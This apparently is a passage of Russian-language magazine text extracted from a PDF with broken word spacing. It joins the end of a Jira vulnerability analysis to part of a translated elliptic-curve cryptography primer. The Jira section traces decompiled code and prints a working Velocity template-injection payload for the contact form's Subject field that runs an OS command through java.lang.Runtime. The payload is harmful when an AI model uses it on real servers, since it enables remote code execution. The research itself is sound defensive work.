104:         Class parameterType = setterMethod.getParameterTypes()[0
];
105:
106:         try {
107:             Object convertedObj;
108:             if (parameterType.equals(String.class)) {
109:                 convertedObj = paramValue[0];
110:             } else if (parameterType.equals(String[].class)) {
111:                 convertedObj = paramValue;
112:             } else {
113:                 ParameterConverter converter = KnownParameterC
onverters.getConverter(parameterType);
114:                 Assertions.notNull("converter", converter);
115:                 convertedObj = converter.convertParameter(paramV
alue, parameterType);
116:             }
117:
118:             setterMethod.invoke(action, convertedObj);

От прав ленные  дан ные  фор мы  попада ют  в  этот  метод,  и  на  осно ве  типа
переда ваемо го парамет ра вызыва ются соот ветс тву ющие клас сы. Нам инте‐ 
рес но поле  .Subject

Об работ ка передан ных дан ных фор мы обратной свя зи. Поле Subject

Как видишь, за него берет ся метод с говоря щим наз вани ем  , что
в клас се  .

setSubject
ContactAdministrators

WEB-INF/classes/com/atlassian/jira/web/action/user/
ContactAdministrators.java
31: public class ContactAdministrators extends JiraWebActionSupport {
...
108:     public void setSubject(String subject) {
109:         this.subject = subject;
110:     }

Те перь в перемен ной   хра нит ся собс твен но тема пись ма.subject

В перемен ную subject записы вает ся тема пись ма

Сле дующая  оста нов ка  —  .  Здесь
вызыва ется метод  .

ContactAdministrators.doExecute
send

WEB-INF/classes/com/atlassian/jira/web/action/user/
ContactAdministrators.java
78:     @RequiresXsrfCheck
79:     protected String doExecute() throws Exception {
80:         if (!this.getShouldDisplayForm()) {
81:             return "modebreach";
82:         } else {
83:             this.send();
84:             return this.getRedirect("/secure/MyJiraHome.jspa");
85:         }
86:     }

Вы зов метода send внут ри ContactAdministrators.doExecute

Здесь выпол няет ся поиск активных адми нис тра торов в сис теме, что бы затем
каж дому было отправ лено наше пись мо.

WEB-INF/classes/com/atlassian/jira/web/action/user/
ContactAdministrators.java
154:     public void send() throws MailException {
155:         Collection<ApplicationUser> administrators = this.
userUtil.getJiraAdministrators();
156:         Iterator var2 = administrators.iterator();
157:
158:         while(var2.hasNext()) {
159:             ApplicationUser administrator = (ApplicationUser)
var2.next();
160:             if (administrator.isActive()) {
161:                 this.sendTo(administrator);
162:             }
163:         }
164:
165:     }

Ме тод send ищет активных адми нис тра торов в Jira для отправ ки сооб ‐
щения

Для это го управле ние переда ется в  .sendTo

WEB-INF/classes/com/atlassian/jira/web/action/user/
ContactAdministrators.java
167:     private void sendTo(ApplicationUser administrator) throws 
MailException {
168:         try {
169:             Map<String, Object> velocityParams = Maps.newHashMap
();
170:             velocityParams.put("from", this.replyTo);
171:             velocityParams.put("content", this.details);
172:             velocityParams.put("padSize", PADSIZE);
173:             Email email = new Email(administrator.getEma
ilAddress());
174:             email.setReplyTo(this.replyTo);
175:             MailQueueItem item = (new EmailBuilder(email, this.
getMimeType(administrator), I18nBean.getLocaleFromUser(administrator
))).withSubject(this.subject).withBodyFromFile(this.getTemplateDire
ctory(administrator) + "contactadministrator.vm").addParameters(
velocityParams).renderLater();
176:             this.mailQueue.addItem(item);

Здесь  при  помощи    фор миру ется  будущее  пись мо.  Затем
получен ный  объ ект  клас са    добав ляет ся  в  оче редь  сооб‐ 
щений для отправ ки.

EmailBuilder
MailQueueItem

До бав ление сооб щения в оче редь для отправ ки адми нис тра тору на поч ‐
ту

Об рати вни мание на то, что шаб лон для тек ста пись ма берет ся из фай ла 
  и  явля‐ 

ется  экзем пля ром  ,  а  тема  —
.

WEB‐
INF/classes/templates/email/html/contactadministrator.vm

TemplateSources$File
TemplateSources$Fragment

Струк тура объ екта MailQueueItem. Тема явля ется экзем пля ром
TemplateSources$Fragment

Пе ред отправ кой сооб щения его нуж но отренде рить. За работу с шаб лонами
в  Jira  отве чает  дви жок  .  Ког да  оче редь  дой дет  до  нашего  пись ма,
будет выз ван метод   клас са  .

Velocity
send RenderingMailQueueItem

WEB-INF/classes/com/atlassian/jira/mail/builder/
RenderingMailQueueItem.java
12: public class RenderingMailQueueItem extends SingleMailQueueItem {
...
24:     public void send() throws MailException {
25:         try {
26:             this.emailRenderer.render();
...
31:         super.send();

Объ ект    —  это  экзем пляр  клас са  .  Это  его
метод   отве чает за одно имен ный про цесс.

emailRenderer EmailRenderer
render

От ладка рен дерин га шаб лона пись ма

WEB-INF/classes/com/atlassian/jira/mail/builder/EmailRenderer.java
035: class EmailRenderer {
...
123:     public Email render() throws MessagingException {
124:         this.email.setSubject(this.renderEmailSubject(this.
templateParameters));

WEB-INF/classes/com/atlassian/jira/mail/builder/EmailRenderer.java
68:     private String renderEmailSubject(Map<String, Object> contex
tParams) {
69:         return this.getTemplatingEngine().render(this.subjec
tTemplate).applying(contextParams).asPlainText();
70:     }

За тем  ини циали зиру ется  дви жок  для  рен дера  —
.VelocityTemplatingEngine

WEB-INF/classes/com/atlassian/jira/mail/builder/EmailRenderer.java
72:     private VelocityTemplatingEngine getTemplatingEngine() {
73:         return (VelocityTemplatingEngine)ComponentAccessor.getCom
ponent(VelocityTemplatingEngine.class);
74:     }

Движ ку  переда ется  шаб лон  темы  пись ма.  Метод    соз дает  экзем‐ 
пляр клас са  .

applying
VelocityContext

WEB-INF/classes/com/atlassian/jira/template/velocity/
DefaultVelocityTemplatingEngine.java
72:     class DefaultRenderRequest implements RenderRequest {
73:         private final TemplateSource source;
74:         private VelocityContext context = this.createContextFrom(
Collections.emptyMap());

WEB-INF/classes/com/atlassian/jira/template/velocity/
DefaultVelocityTemplatingEngine.java
33: public class DefaultVelocityTemplatingEngine implements Veloci
tyTemplatingEngine {
...
48:     public RenderRequest render(TemplateSource source) {
49:         return new DefaultVelocityTemplatingEngine.Defaul
tRenderRequest(source);
50:     }

В кон це конс трук ции вызыва ется метод  .asPlainText

Вы зов метода asPlainText

WEB-INF/classes/com/atlassian/jira/template/velocity/
DefaultVelocityTemplatingEngine.java
91:         public String asPlainText() {
92:             return (new DefaultVelocityTemplatingEngine.Defaul
tRenderRequest.StringRepresentation() {
93:                 void with(StringWriter sw) throws IOException {
94:                     DefaultRenderRequest.this.asPlainText(sw);
95:                 }
96:             }).toString();
97:         }

Внут ри  выпол няет ся  цепоч ка  вызовов   → 
 →  .

toWriterImpl writeEncodedBody‐
ForContent evaluate

WEB-INF/classes/com/atlassian/jira/template/velocity/
DefaultVelocityTemplatingEngine.java
107:         public void asPlainText(Writer writer) throws IOExce
ption {
108:             this.toWriterImpl(writer, false);
109:         }

WEB-INF/classes/com/atlassian/jira/template/velocity/
DefaultVelocityTemplatingEngine.java
115:         private void toWriterImpl(Writer writer, boolean attach
Cartridge) throws IOException {
116:             if (this.source instanceof File) {
...
123:             } else if (this.source instanceof Fragment) {
124:                 Fragment fragment = (Fragment)this.source;
...
129:                 DefaultVelocityTemplatingEngine.this.veloci
tyManager.writeEncodedBodyForContent(writer, fragment.getContent(), 
this.context);

WEB-INF/lib/atlassian-velocity-1.3/com/atlassian/velocity/
DefaultVelocityManager.java
76:     public void writeEncodedBodyForContent(Writer writer, String 
contentFragment, Context context) throws IOException
77:     {
...
84:         try
85:         {
86:             getVe().evaluate(context, writer, "getEncodedBodyF
romContent", contentFragment);
87:         }
88:         catch (Exception e)
89:         {
90:             exceptionHandling(writer, e, "", "");
91:         }
92:     }

Об работ ка передан ной темы пись ма. Цепоч ка вызовов toWriterImpl →
writeEncodedBodyForContent → evaluate

Пос ледний метод пыта ется рас парсить передан ную в качес тве темы стро ку.
Она  раз бива ется  на  ноды,  и  они  интер пре тиру ются  как  конс трук ции  шаб‐ 
лониза тора Velocity.

WEB-INF/lib/velocity-1.6.4-atlassian-7/org/apache/velocity/
runtime/parser/Parser.java
61: public class Parser implements ParserTreeConstants, Parser
Constants {
...
91:     public Parser(RuntimeServices rs) {
...
97:     public SimpleNode parse(Reader reader, String templateName) 
throws ParseException {
98:         SimpleNode sn = null;
99:         this.currentTemplateName = templateName;

WEB-INF/lib/velocity-1.6.4-atlassian-7/org/apache/velocity/
runtime/RuntimeInstance.java
053: public class RuntimeInstance implements RuntimeConstants, Runtim
eServices {
...
571:     public boolean evaluate(Context context, Writer out, String 
logTag, String instring) throws IOException {
572:         return this.evaluate(context, out, logTag, (Reader)(new 
StringReader(instring)));
573:     }
574: 
575:     public boolean evaluate(Context context, Writer writer, 
String logTag, Reader reader) throws IOException {
...
589:             return nodeTree == null ? false : this.render(
context, writer, logTag, nodeTree);
590:         }

Пар синг стро ки из темы пись ма

По сути,  у  нас  здесь стан дар тная инъ екция в шаб лоны на сто роне сер вера,
или SSTI  (Server‐Side Template  Injection).  Так  как  я  отправ лял  ничего не  зна‐ 
чащую  стро ку,  то  сер вер  попыта ется  отпра вить  пись мо  с  этой  темой  сооб‐ 
щения.

Кон некты к сер веру SMTP от Jira

Для  написа ния  пол ноцен ного  PoC  нужен  объ ект,  который  уже  сущес тву ет
в кон тек сте (VelocityContext).

Спи сок сущес тву ющих перемен ных в кон тек сте шаб лониза тора

Поч ти  во  всех  замечен ных  на  прос торах  интерне та  пей лоадах  встре чает ся
исполь зование  , но мож но взять любой объ ект, нап ример 

.  Осталь ная  часть  PoC —  впол не  стан дар тное  выпол нение  про‐ 
изволь ной  коман ды  через  метод    клас са  .  Будем
пытать ся открыть каль кулятор. Ука жем в качес тве темы пись ма такую стро ку:

i18n application‐
Properties

exec java.lang.Runtime

$applicationProperties.getClass().forName('java.lang.Runtime')
 .getMethod('getRuntime',null).invoke(null,null).exec('calc')
 .waitFor()

Пе ред  отправ кой  фор мы  пос тавим  брейк‐пой нт  на  метод    клас са
.

evaluate
RuntimeInstance

Ис поль зуем PoC в качес тве темы пись ма

Нем ного  пот рей сим  впе ред  и  уви дим,  что  пос ледний  вызов  при ходит ся
на  , где, с помощью  , начина ет отра баты вать наш
пей лоад.

ASTMethod.execute invoke

ASTMethod.execute переда ет управле ние полез ной наг рузке

WEB-INF/lib/velocity-1.6.4-atlassian-7/org/apache/velocity/
runtime/parser/node/ASTMethod.java
020: public class ASTMethod extends SimpleNode {
...
047:     public Object execute(Object o, InternalContextAdapter 
context) throws MethodInvocationException {
...
103:         try {
104:             Object obj = method.invoke(o, params);

Стек вызова от начала рен дерин га сооб щения до успешной экс плу ата ‐
ции

Да лее наб люда ем окош ко каль кулято ра. :)

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ЗАКЛЮЧЕНИЕ
Рас смот ренная  уяз вимость  час то  встре чает ся  в  при ложе ниях,  написан ных
на Java. Теперь ты зна ешь, на какой век тор сто ит обра тить осо бое вни мание
при ауди те окру жения Java.

Да ниил Дмит риев не так дав но находил   в работе сис‐ 
темы  вид жетов  в Confluence.  Там мож но  было  внед рять  целые фай лы‐шаб‐ 
лоны. Этот баг, как и рас смот ренный сегод ня, был быс тро пофик шен в новой
вер сии про дук та. Так что не тяни с обновле ниями!

по хожую уяз вимость

http://jirarce.vh:2990/jira/secure/ContactAdministrators!default.jspa
http://velocity.apache.org/
https://vimeo.com/355935518
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3396
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КРАТКИЙ ПУТЕВОДИТЕЛЬ
ПО ЭЛЛИПТИЧЕСКИМ КРИВЫМ

Ник Салливан

ПРИВАТНОСТЬ

Эл липти чес кая  крип тогра фия  (Elliptic  Curve  Cryptography,
ECC)  —  шту ка  популяр ная,  мощ ная  и  при  этом  не  очень
понят ная. Мы  в    исполь зуем  ее  вез де:  от  защиты
HTTPS‐соеди нений  наших  кли ентов  до  переда чи  дан ных
меж ду  сер верами.  В  этой  статье  я  попыта юсь  на  прос тых
при мерах показать, как все это работа ет.

Cloudflare

INFO

Это  перевод  статьи  Ника  Сал ливана, 
  в  бло ге  ком пании  Cloudflare.

Переве ла Алё на Геор гиева.

впер вые
опуб ликован ной

Во обще мы убеж дены: что бы доверять той или иной сис теме безопас ности,
нуж но понимать тех нологию, которая за ней сто ит. Так что мы решили най ти
хорошее,  отно ситель но  дос тупное  руководс тво  по  ECC —  и  поделить ся  им
с читате лями. Най ти не уда лось, и мы написа ли его сами — оно перед вами.

Пре дуп реждаю: тема слож ная, в двух сло вах о ней не рас ска жешь. Здесь
есть что обсу дить,  так  что  устра ивай ся поудоб ней. Но если нуж ны  те самые
два сло ва, то вот они: ECC — это новое поколе ние крип тосис тем с откры тым
клю чом, которые пос тро ены на понят ных матема тичес ких осно вани ях и обес‐ 
печива ют куда более серь езную защиту, чем крип тосис темы пер вого поколе‐ 
ния  вро де  RSA.  Хочешь  обес печить  высокий  уро вень  защиты  и  сох ранить
при этом про изво дитель ность — име ет смысл обра тить ся к ECC. А если инте‐ 
ресу ют детали — они ниже.

КРИПТОГРАФИЯ С ОТКРЫТЫМ КЛЮЧОМ: КАК ВСЕ НАЧИНАЛОСЬ
Ис торию  крип тогра фии  мож но  раз делить  на  два  пери ода:  клас сичес кий
и сов ремен ный. Водораз делом здесь слу жит 1977 год, ког да одновре мен но
были пред став лены   и  . Слу чилась
нас тоящая  револю ция:  это  были  пер вые  крип тогра фичес кие  сис темы,  где
безопас ность стро илась на теории чисел. Ста ла воз можной безопас ная ком‐ 
муника ция  без  извес тно го  обе им  сто ронам  —  то  есть  сим метрич ного  —
шиф ра.  До  это го  крип тогра фия  бес конеч но  занима лась  воп росом,
как безопас но перес лать сек ретные шиф ры. Теперь же она мог ла обес печить
доказа тель но  безопас ную  ком муника цию  меж ду  дву мя  сто рона ми  —
без заботы о том, не перех ватит ли кто обмен клю чами.

ал горитм RSA про токол Диф фи — Хел лма на

Уит филд Диф фи и Мар тин Хел лман

Сов ремен ная крип тогра фия сто ит на  том, что ключ для шиф рования дан ных
может быть откры тым, а вот ключ для дешиф ровки луч ше оста вить в сек рете.
Такие сис темы называ ют крип тогра фичес кими сис темами с откры тым клю чом
(public key cryptographic systems). Пер вая — и все еще самая рас простра нен‐ 
ная из них — RSA. Она наз вана ини циала ми тех, кто впер вые опи сал ее алго‐ 
ритм (Ron Rivest, Adi Shamir, Leonard Adleman).

Хо рошей  крип тогра фичес кой  сис теме  с  откры тым  клю чом  нужен  набор
алго рит мов, которые лег ко прой ти в одном нап равле нии и труд но в обратном.
В слу чае с RSA «лег кий» алго ритм умно жает два прос тых чис ла. Его «труд ной»
парой будет фак ториза ция — раз ложение получив шегося резуль тата на изна‐ 
чаль ные  мно жите ли.  Алго рит мы  с  такой  харак терис тикой —  «прос то  в  одну
сто рону, труд но в обратную» — называ ют 

  (trapdoor  function,  TDF).  Най ти  хорошую  TDF  кри тич но  важ но
для соз дания безопас ной крип тогра фичес кой сис темы с откры тым клю чом.

од носто рон ней фун кци ей с потай‐ 
ным  вхо дом

Про ще говоря, чем боль ше раз рыв меж ду слож ностью про хож дения фун‐ 
кции  в  одном  нап равле нии  и  в  дру гом,  тем  надеж ней  получит ся  крип тогра‐ 
фичес кая сис тема, на ней осно ван ная.

АЛГОРИТМ RSA В МИНИАТЮРЕ
RSA — самая популяр ная и наибо лее понят ная из сис тем с откры тым клю чом.
Ее  безопас ность  опи рает ся  на  то,  что  умно жение  —  это  быс тро,  а  раз‐ 
ложение  на  мно жите ли  —  мед ленно.  Корот ко  рас смот рим,  как  выг лядит
и работа ет малень кая RSA‐сис тема.

Сис темы  с  откры тым  клю чом  обыч но  име ют  два  ком понен та:  откры тый
ключ и сек ретный ключ. Шиф рование работа ет так: берешь сооб щение, при‐ 
меня ешь  к  нему  матема тичес кую  опе рацию —  и  получа ешь  чис ло,  которое
выг лядит слу чай ным. При дешиф ровке берешь это «слу чай ное» чис ло и при‐ 
меня ешь  дру гую  опе рацию,  что бы  получить  исходное  сооб щение.  Зашиф‐ 
рован ное  с  помощью  откры того  клю ча  мож но  рас шифро вать,  толь ко  при‐ 
менив сек ретный ключ.

Компь юте ры не очень хорошо справ ляют ся с про изволь но боль шими чис‐ 
лами.  Эту  проб лему  мож но  решить,  если  выб рать  мак сималь ное  зна чение
и иметь дело толь ко с чис лами, которые мень ше мак симума. Работа ет это как
в  часах  с  цифер бла том  и  стрел ками.  Как  перевес ти  их,  нап ример,
на  37  часов? Оче вид но,  раз делить  37  на  мак симум —  то  есть  12 —  и  док‐ 
рутить  оста ток.  Так  и  здесь:  любые  вычис ления,  дающие  резуль тат  боль ше
мак симума, мы «док ручива ем» до чис ла в допус тимом диапа зоне.

В RSA мак сималь ное зна чение (обоз начим его  ) получа ют умно жени ем
двух слу чай ных прос тых чисел. Откры тый и сек ретный клю чи — это два спе‐ 
циаль но выб ранных чис ла боль ше нуля, но мень ше мак сималь ного зна чения,
обоз начим их    и  .  Что бы  зашиф ровать  чис ло, мы  перем ножа ем  его

 раз — и вся кий раз  «док ручива ем»,  ког да пре выша ем мак симум. Что бы
рас шифро вать сооб щение, перем ножа ем его   раз по тому же пра вилу —
и получа ем исходное чис ло. Зву чит уди витель но, но прав да работа ет. Ког да
обна ружи ли эту осо бен ность, она ста ла боль шим про рывом.

max

pub priv
pub

priv

Что бы соз дать пару клю чей для RSA, сна чала берешь два прос тых чис ла,
что бы получить мак симум ( ). Затем выбира ешь чис ло для откры того клю ча
( ). До тех пор пока ты зна ешь два изна чаль ных прос тых чис ла, ты можешь
вычис лить  сек ретный  ключ    через  откры тый.  Это  то,  как  фак ториза ция
соот носит ся  со  взло мом  RSA:  раз ложение  мак сималь ного  зна чения
на  исходные  мно жите ли  поз воля ет  вычис лить  чей‐то  сек ретный  ключ
по откры тому и дешиф ровать лич ные сооб щения.

max
pub

priv

Рас смот рим  все  это  на  кон крет ном  при мере.  Возь мем  прос тые  чис‐ 
ла  13  и  7,  перем ножим  и  получим  мак сималь ное  зна чение  91.  В  качес тве
откры того  клю ча  возь мем  чис ло  5.  А  затем,  зная  изна чаль ные  мно жите ли
и мак симум, при меним   и получим сек ретный
ключ — 29.

рас ширен ный алго ритм Евкли да

Эти парамет ры ( ) опре деля ют пол ностью
фун кци ональ ную  RSA‐сис тему.  Мы  можем  взять  чис ло  и  перем ножить  его
пять  раз  для  зашиф ровки,  а  затем  взять  получив ший ся  резуль тат,  перем‐ 
ножить его 29 раз и получить изна чаль ное чис ло.

max = 91, pub = 5, priv = 29

Ис поль зуем эти зна чения, что бы зашиф ровать сло во CLOUD.
Что бы  пред ста вить  сооб щение  матема тичес ки,  нуж но  прев ратить  бук вы

в чис ла. Для пред став ления латин ско го алфа вита отлично под ходит кодиров‐ 
ка UTF‐8. Каж дому сим волу соот ветс тву ет свой номер.

Ла тин ский алфа вит в кодиров ке UTF‐8

В этой кодиров ке CLOUD выг лядит как 67, 76, 79, 85, 68. Все эти чис ла мень‐ 
ше нашего мак симума, поэто му мы можем зашиф ровать их по отдель нос ти.

67 × 67 = 4489 = 30

INFO

От куда  30?  Пос коль ку  получив шееся  чис‐ 
ло  4489  боль ше  мак симума,  мы  «док ручива ем»
его  до  нуж ного  нам  диапа зона  (от  0  до  91).
Для  это го  делим  4489  на  91  до  целого  чис ла
и берем оста ток. Этим остатком и будет 30.

4489 = 91 × 49 + 30
30 × 67 = 2010 = 8
8 × 67 = 536 = 81
81 × 67 = 5427 = 58

58 и будет зашиф рован ной вер сией 67.
Пов торив этот  про цесс для  каж дой из букв, мы получим зашиф рован ное

сооб щение CLOUD в виде

58, 20, 53, 50, 87

Что бы рас шифро вать это запутан ное сооб щение, берем каж дое из получив‐ 
шихся чисел — и точ но так же перем ножа ем 29 раз.

58 × 58 = 3364 = 88 (помни, что мы «докручиваем» число, если оно 
превышает максимум)
88 × 58 = 5104 = 8
…
9 × 58 = 522 = 67

Ву аля, мы вер нулись к 67. Про вер нув то же самое с осталь ными чис лами, мы
получим исходное сооб щение.

Вы вод:  ты  можешь  взять  чис ло,  перем ножить  его  сколь ко‐то  ( )  раз
и получить слу чай но выг лядящий резуль тат, а потом перем ножить его дру гое
количес тво ( ) раз и вер нуть ся к изна чаль ному чис лу.

pub

priv

НЕ ТАКОЙ УЖ ТАЙНЫЙ ХОД
RSA  и  про токол  Диф фи —  Хел лма на  были  столь  мощ ны,  потому  что  име ли
стро гие обос нования безопас ности. Их авто ры доказа ли, что взлом сис темы
равен  решению матема тичес кой  проб лемы,  которую,  как  счи тает ся,  слож но
решить.  Фак ториза ция  —  хорошо  извес тная  проб лема,  ее  изу чают
с античнос ти (см.  ). Любые про рывы в этой области ста‐ 
ли бы гром кой новостью и  .

ре шето Эра тос фена
озо лоти ли изоб ретате ля

«Най ди мно жите ли — получи день ги» — тот самый T.K.G. (Reuters)

Тем не менее фак ториза ция не такая уж боль шая проб лема, если решать ее
шаг  за  шагом.  Для  раз ложения  на  прос тые  мно жите ли  есть  спе циаль ные
алго рит мы — нап ример,   или 

, — и они  уме рен но  успешны. Во вся ком слу чае,  точ но быс трее
и эко номич ней, чем наив ный под ход с уга дыва нием пар прос тых чисел.

квад ратич ное решето об щий метод решета чис‐ 
лового поля

Эф фектив ность этих алго рит мов рас тет, пос коль ку раз мер чисел, которые
нуж но  рас кла дывать  на  мно жите ли,  все  вре мя  уве личи вает ся.  А  вот  раз рыв
меж ду слож ностью фак ториза ции и умно жения умень шает ся — и тоже из‐за
рос та чисел (нап ример, дли ны клю чей). Ресур сы, дос тупные для дешиф ровки,
рас тут — и вмес те с ними рас тет дли на клю чей, при чем куда быс трее. Это не
очень  хорошо  для  мобиль ных  и  дру гих  маломощ ных  девай сов,  чьи  вычис‐ 
литель ные ресур сы огра ниче ны.  Раз рыв меж ду  раз ложени ем и  умно жени ем
не очень устой чив в дол госроч ной пер спек тиве.

Все это зна чит, что RSA далеко не иде аль ная сис тема для крип тогра фии
будуще го. В иде аль ной TDF опе рации «туда» и «обратно» усложня ются в оди‐ 
нако вом  тем пе —  про пор циональ но  рас тущему  раз меру  чисел.  Нам  нужен
потай ной ход понадеж ней.

ЭЛЛИПТИЧЕСКИЕ КРИВЫЕ: ГДЕ НАЙТИ НАДЕЖНЫЙ ПОТАЙНОЙ
ХОД?
С появ лени ем RSA и про токо ла Диф фи — Хел лма на начал ся активный поиск
дру гих  матема тичес ки  обос нован ных  решений  для  крип тогра фии,  которые
мог ли бы пос лужить хорошей TDF. И вот в 1985 году были пред ложены алго‐ 
рит мы,  осно ван ные  на  таинс твен ном  матема тичес ком  нап равле нии  —
эллипти чес ких кри вых.

Но что же такое эллипти чес кая кри вая — и как работа ет осно ван ная на ней
TDF? К сожале нию, в отли чие от фак ториза ции — шту ки, с которой мы неиз‐ 
бежно  стал кива емся  в шко ле, —  эллипти чес кие  кри вые боль шинс тву  людей
не близ ки. Понять и объ яснить их не  так‐то прос то — впро чем, я все рав но
попыта юсь. (Если гла за уже начали стек ленеть, можешь скип нуть до раз дела
«Что все это зна чит?».)

Эл липти чес кая кри вая — это мно жес тво точек, удов летво ряющих кон крет‐ 
ному матема тичес кому урав нению. Выг лядит оно так:

y² = x³ + ax + b

Его гра фик отда лен но напоми нает упав шую набок гре чес кую бук ву Ω (оме га).

Есть и дру гие пред став ления эллипти чес ких  кри вых, но  тех ничес ки это мно‐ 
жес тво  точек,  удов летво ряющих  урав нению  с  дву мя  перемен ными:  одна
из них в квад рате, а дру гая — в кубе. Одна ко эллипти чес кая кри вая — это не
прос то сим патич ная кар тинка: у нее есть ряд осо бен ностей, которые дела ют
ее хорошей осно вой для крип тогра фии.

СТРАННАЯ СИММЕТРИЯ
Еще раз взгля нем на нашу эллипти чес кую кри вую — и най дем те самые осо‐ 
бен ности.

Од на из них — горизон таль ная сим метрия. Каж дую точ ку на кри вой мож но
зер каль но отра зить по оси   — и ока жешь ся на все той же кри вой. Еще инте‐ 
рес ней то, что любая не стро го вер тикаль ная пря мая пересе кает эллипти чес‐ 
кую кри вую не более чем в трех мес тах.

x

Пред ста вим,  что  это  такой  стран ный  биль ярд.  Если  соеди нить  две  точ ки
на  кри вой,  про ходя щая  через них  пря мая пересе чет  ее еще ров но  в одном
мес те. Пос тавим вооб ража емый биль ярдный шарик в  точ ку    и  тол кнем его
в сто рону точ ки  . Дос тигнув треть ей, пос ледней точ ки на кри вой, шар отско‐ 
чит либо пря мо вверх (если он находит ся ниже оси  ), либо пря мо вниз (если
он выше оси  ) — на дру гую сто рону кри вой.

A
B

x
x

Мы можем  соеди нить  любые две  точ ки  на  кри вой  и  получить  новую — нап‐ 
ример, соеди нив   и  , мы получи ли  .A B С

А  еще  мы  можем  свя зывать  эти  «ходы»,  что бы  раз  за  разом  соеди нять
изна чаль ную  точ ку  с  получив шимся  резуль татом.  Так,  соеди нив  точ ку 
с  самой  собой, мы  получим  точ ку  ;  из  исходной  точ ки    и  получив шей ся 
вый дет  ;   и  , в свою оче редь, дадут   — и так далее.

A
B A B

C А С D

INFO

Что‐то  зна комое,  да?  В  RSA  мы  точ но  так  же
сколь ко‐то  раз  умно жали  исходное  чис ло  само
на  себя  —  а  точ нее,  на  то,  что  получа лось
при  «док ручива нии»  резуль тата  умно жения.  Все
эти  точ ки  ,  ,    и  так  далее  —  точ но  такие  же
про межу точ ные  резуль таты,  толь ко  получен ные
не ариф метичес ки, а геомет ричес ки.

B C D

Ока зыва ется,  если  мы  име ем  две  точ ки  —  изна чаль ную,  «пом ножен ную»
на себя n раз, и конеч ную — выяс нить, чему рав но n, доволь но слож но. Что бы
раз вить  метафо ру  со  стран ным  биль ярдом,  пред ставь  себе  челове ка,
который сколь ко‐то вре мени игра ет в такой биль ярд — сам с самой и в зак‐ 
рытой  ком нате.  Ему  будет  доволь но  прос то  тол кать  шарик  сно ва  и  сно ва
по  опи сан ным  выше  пра вилам.  Но  если  кто‐нибудь  вой дет  в  эту  ком нату
и уви дит, где оста новил ся шарик, то, даже зная пра вила игры и изна чаль ную
точ ку,  опре делить  количес тво  уда ров  о  бор тики  он  все  рав но  не  смо жет —
пока  не  пов торит  все  ходы  от  стар товой  точ ки  до  финаль ной.  «Лег ко  туда,
труд но обратно» — это, как пом нишь, осно ва для хорошей TDF.

Продолжение статьи →

https://www.cloudflare.com/
https://blog.cloudflare.com/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/
https://en.wikipedia.org/wiki/RSA_(cryptosystem)
https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange
https://en.wikipedia.org/wiki/Trapdoor_function
https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm
https://en.wikipedia.org/wiki/Sieve_of_Eratosthenes
https://en.wikipedia.org/wiki/RSA_Factoring_Challenge
http://mathworld.wolfram.com/QuadraticSieve.html
https://en.wikipedia.org/wiki/General_number_field_sieve


НЕПРОСТАЯ

ЗАГОГУЛИНА
КРАТКИЙ ПУТЕВОДИТЕЛЬ

ПО ЭЛЛИПТИЧЕСКИМ КРИВЫМ

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

ВСЕ СТРАНЬШЕ И СТРАНЬШЕ
Уп рощен ная кри вая из пре дыду щего раз дела прек расно выг лядит и объ ясня‐ 
ет общую  кон цепцию эллипти чес ких  кри вых,  но не показы вает,  как  выг лядят
эллипти чес кие кри вые в крип тогра фии.

Здесь,  как  и  в  RSA,  нам  при ходит ся  огра ничи вать  себя  чис лами  в  фик‐ 
сирован ном диапа зоне. Более того, нас в этом диапа зоне инте ресу ют целые
чис ла — а кри вая сос тоит не толь ко из них. При решении урав нения эллипти‐ 
чес кой кри вой ( ) мы исполь зуем тот же самый трюк с «док‐ 
ручива нием» чисел, пре выша ющих мак симум. Если за мак симум взять прос‐ 
тое  чис ло,  такая  эллипти чес кая  кри вая  называ ется  прос той  —  и  обла дает
пре вос ходны ми крип тогра фичес кими свой ства ми.

y² = x³ + ax + b

Вот при мер кри вой ( ), пос тро енной для всех зна чений.y² = x³ − x + 1

А  вот  та  же  кри вая,  но  пос тро енная  толь ко  для  целых  зна чений  с  мак‐ 
симумом 97.

Сов сем не похоже на кри вую в тра дици онном понима нии — но это она. Выг‐ 
лядит  так,  как  буд то  став шую  вдруг  невиди мой  кри вую  при коло ли  кноп ками
в  точ ках,  где  она  выда ет  целые  зна чения.  И  заметь,  горизон таль ная  сим‐ 
метрия сох ранилась.

На  самом  деле  мы  все  еще  можем  играть  на  этой  кри вой  в  биль ярд
и  соеди нять  точ ки.  И  любая  пря мая  по‐преж нему  может  соб рать  на  себе
не  более  трех  точек.  Вычис лить  эти  точ ки  доволь но  лег ко.  Пред ставь  себе,
что линия, соеди няющая две точ ки, — это нит ка, которая обма тыва ется вок‐ 
руг  кри вой,  пока  не  попадет  на  третью. Это  как  если бы  в  нашем стран ном
биль ярде  шар,  уда рив шись  о  бор тик  (мак симум),  вол шебным  обра зом
переме щал ся  на  про тиво полож ную  сто рону  сто ла  и  про дол жал  свое  дви‐ 
жение до тех пор, пока не уда рит ся о точ ку, — как в игре «Асте роиды».

С помощью такого пред став ления кри вой уже реаль но зашиф ровывать сооб‐ 
щения.  Мож но  пред ста вить  исходное  чис ло  сооб щения  как  ,  получить
из  урав нения   — и,  соот ветс твен но,  точ ку  на  кри вой. На  прак тике  все  чуть
слож нее, но общая идея такова.

x
y

Для  сло ва    получим  точ ки  с  коор дината ми  (70,6),  (76,48),  ‐, 
(69,22).

FLARE (82,6),

(На этой кри вой нет точ ки при   = 65, но в реаль ном мире есть спо собы
обой ти эту проб лему.)

x

Эл липти чес кую  крип тосис тему  опре деля ют:  взя тое  за мак симум  прос тое
чис ло, урав нение кри вой и откры тая (стар товая) точ ка на кри вой. Сек ретным
клю чом будет чис ло  , а откры тым клю чом — стар товая точ ка, соеди нен‐ 
ная  сама  с  собой    раз.  Вычис ление  сек ретно го  клю ча  по  откры тому
в  такой  крип тосис теме  называ ется  фун кци ей  дис крет ного  логариф ма
эллипти чес кой кри вой. Кажет ся, это и есть та TDF, которую мы иска ли.

priv
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ЧТО ВСЕ ЭТО ЗНАЧИТ?
Вы чис лить  дис крет ный  логарифм  эллипти чес кой  кри вой  труд но  —  на  чем
и  стро ится  эллипти чес кая  крип тогра фия.  Спус тя  нес коль ко  десяти летий
